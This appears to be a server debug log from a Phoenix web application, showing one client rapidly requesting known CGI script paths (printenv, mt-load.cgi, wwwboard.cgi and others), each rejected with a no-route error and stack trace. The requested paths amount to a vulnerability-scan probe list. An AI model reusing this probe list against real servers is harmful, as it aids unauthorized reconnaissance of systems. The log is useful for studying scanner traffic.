    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:13.005000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50594] GET /cgi-bin/hi
[Thu Sep  3 08:41:13.020000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50594] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/hi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:13.433000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42110] GET /wwwadmin.cgi
[Thu Sep  3 08:41:13.469000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42110] ** (Phoenix.Router.NoRouteError) no route found for GET /wwwadmin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:13.824000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42116] GET /cgi-bin/index.cgi
[Thu Sep  3 08:41:13.856000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42116] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:14.299000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42128] GET /wwwboard.cgi
[Thu Sep  3 08:41:14.312000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42128] ** (Phoenix.Router.NoRouteError) no route found for GET /wwwboard.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:14.479000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42142] GET /cgi-bin/index.pl
[Thu Sep  3 08:41:14.494000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42142] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:15.121000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42154] GET /xampp/cgi.cgi
[Thu Sep  3 08:41:15.149000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42154] ** (Phoenix.Router.NoRouteError) no route found for GET /xampp/cgi.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:15.343000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42158] GET /cgi-bin/index.sh
[Thu Sep  3 08:41:15.356000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42158] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:17.149000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42160] GET /cgi-bin/login.cgi
[Thu Sep  3 08:41:17.171000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42160] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/login.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:17.781000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42176] GET /cgi-bin/mailit.pl
[Thu Sep  3 08:41:17.804000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42176] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mailit.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:18.495000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42186] GET /cgi-bin/mt/mt-check.cgi
[Thu Sep  3 08:41:18.516000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42186] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt/mt-check.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:19.383000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42202] GET /cgi-bin/mt/mt-load.cgi
[Thu Sep  3 08:41:19.411000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42202] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt/mt-load.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:20.029000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42216] GET /cgi-bin/mt-static/mt-check.cgi
[Thu Sep  3 08:41:20.058000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42216] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt-static/mt-check.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:20.712000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42222] GET /cgi-bin/mt-static/mt-load.cgi
[Thu Sep  3 08:41:20.735000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42222] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt-static/mt-load.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:21.379000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42236] GET /cgi-bin/ncbook/book.cgi
[Thu Sep  3 08:41:21.392000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42236] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/ncbook/book.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:22.008000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42242] GET /cgi-bin/printenv
[Thu Sep  3 08:41:22.028000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42242] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/printenv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:22.608000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42246] GET /cgi-bin/printenv.cgi
[Thu Sep  3 08:41:22.629000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42246] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/printenv.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
